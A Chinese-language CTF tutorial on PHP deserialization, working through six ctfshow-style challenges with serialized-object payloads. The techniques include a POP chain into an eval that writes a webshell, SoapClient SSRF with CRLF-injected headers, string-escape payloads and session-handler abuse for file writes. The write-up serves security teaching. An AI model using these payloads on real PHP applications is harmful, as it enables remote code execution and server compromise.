各种CTF比赛随处可见反序列化的影子,让我们来了解一下!
阅读本文,需要了解PHP中类的基础知识
正文
了解反序列化,必先了解其魔法函数
1. __sleep() //在对象被序列化之前运行2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)3. __construct() //当对象被创建时,会触发进行初始化4. __destruct() //对象被销毁时触发5. __toString()://当一个对象被当作字符串使用时触发6. __call() //在对象上下文中调用不可访问的方法时触发7. __callStatic() //在静态上下文中调用不可访问的方法时触发8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据9. __set() //用于将数据写入不可访问的属性10. __isset() //在不可访问的属性上调用isset()或empty()触发11. __unset() //在不可访问的属性上使用unset()时触发12. __toString() //把类当作字符串使用时触发13. __invoke() //当脚本尝试将对象调用为函数时触发
然后了解其属性
序列化对象:private变量会被序列化为:\x00类名\x00变量名protected变量会被序列化为: \x00*\x00变量名public变量会被序列化为:变量名
让我们跟随CTF题目,来感受反序列化独有的的"魅力"
1.
error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}}
通读代码
$username&&$password存在进入反序列化$_COOKIE['user']
(cookie为可控字段)
随后便调用了login方法
public function login($u,$p){return $this->username===$u&&$this->password===$p;
只有类中$username和$password等于我们传入的值 ,即可返回true
进入第二个if 调用了checkVip方法
public function checkVip(){return $this->isVip;}
这里定义类中isVip属性为true即可
便调用了其vipOneKeyGetFlag方法 echo除了flag
思路来了,构造payload
?username=a&passowrd=a
cookie便传值我们构造出的payload
2.
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}}class backDoor{private $code;public function getInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);}
看到这么长的代码,我们可以简化一下
众所周知反序列化找的就是魔法函数
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __destruct(){$this->class->getInfo();}}class backDoor{private $code;public function getInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);}
思路
$username和$password存在进入反序列化
backDoor类里边有eval危险函数,我们要将其利用
看到__destruct函数,当类反序列化结束销毁时会将其调用
public function __destruct(){$this->class->getInfo();}
看到里边正好有getInfo()函数
我们只需要将$this->class=new backDoor()就可以调用backDoor类中的getInfo()函数 进行eval利用
故构造payload
class=new backDoor();}}class backDoor{private $code;public function __construct(){$this->code='file_put_contents("./shell.php","");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';}}$o=new ctfShowUser();echo urlencode(serialize($o));?>
?username=xxx&password=xxx
cookie:user=传我们构造的payload即可写入一句话木马
3. 原生类利用
getFlag();//////////////////////////////////////////////flag.php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}
访问flag.php需要
X_FORWARDED_FOR===127.0.0.1,127.0.0.1
由于用了CF代理不能构造X_FORWARDED_FOR
故只能用SoapClient原生类来进行SSRF请求
那什么叫SoapClient类呢?
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息)来触发__call方法,再利用一个CRLF注入进行post传输构造SSRF请求
那什么叫CRLF注入呢?
贴上大佬链接CRLF
故构造payload
"Flowers_BeiCheng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'Flowers_BeiCheng','location' => 'http://127.0.0.1/flag.php')$a = new SoapClient(null,$payload);$o = serialize($a);echo urlencode($o);
4.
class ctfshowvip{public $username;public $password;public $code;public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}}unserialize($_GET['vip']);
__unserialize和__wake同时存在,则__unserialize生效 __wake失效
通读代码
直接利用__destruct中file_put_contents
但想要利用file_put_contents需要$this->code==0x36d(这里考察弱类型比较)
$this->code和0x36d会转换为数字进行比较 0x36d==877
故构造payload
username='877.php';$this->password='';}}$o = new ctfshowvip();echo urlencode(serialize($o));?>
5. 字符串逃逸
error_reporting(0);class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';}highlight_file(__FILE__);
根据提示还有个message.php
highlight_file(__FILE__);include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}}
触发点在message.php
我们要让$msg->token=='admin',
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];
可以看到控制不了$token 可以控制$from $msg $to
传一个正常反序列化内容
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
我们需要构造这样的反序列化内容
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
这时候就要传入
";s:5:"token";s:5:"admin";} //27个字符
传入的内容需要逃逸出来
if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';}
fuck变成loveU 四个字符变成五个字符
每次变多一个,一共需要27个字符
构造payload
f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
6. session反序列化
反序列化处理器
| 处理器 | 对应的存储格式 || ------------------------- | :----------------------------------------------------------- || php | 键名+竖线+经过serialize()函数反序列化处理的值 || php_binary | 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值 || php_serialize(php>=5.5.4) | 经过serialize()函数反序列化处理的数组 |#### 安全问题如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据session.auto_start=On当配置选项session.auto_start=On,会自动注册Session会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的session相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在session.auto_start=On时,销毁自动生成的Session会话,然后设置需要的序列化处理器,在调用session_start()函数注册会话,这时如果脚本中设置的序列化处理器与php.ini中设置的不同,就会出现安全问题
访问/www.zip下载源码
通读代码
index.php
17行,$_SESSION['limit']首先是为空 通过后面的$_COOKIE['limit']便可以控制$_SESSION['limit']
如果无法控制,利用PHP_SESSION_UPLOAD_PROGRESS来控制session内容
查看check.php
发现包含了inc/inc.php
跟进inc/inc.php
默认配置为php进行反序列化的
那php反序列化什么样的呢?
键名+竖线+经过serialize()函数反序列化处理的值
只有 | 后面的内容才会被反序列化
漏洞关键位置
发现了User类里的__destruct()魔法函数可以进行file_put_contents函数进行getshell
思路
前提:由于php.ini默认配置为php_serialize
利用index.php控制SESSION文件写入SESSION为序列化后的内容
再利用check.php触发反序列化(触发|后面序列化后的内容)
故构造payload
class User{public $username;public $password;function __construct($username,$password){$this->username = $username;$this->password = $password;}}$o=new User('huahua.php','');echo base64_encode('|'.serialize($o));
访问index.php改cookie limit为payload 再次访问写入
访问check.php触发
最后访问log-huahua.php
成功写入
0×02总结
介绍了这么多,相信大家已经对反序列化有了初步的了解要学会尝试构造POP链复现TP Yii等框架的链子哦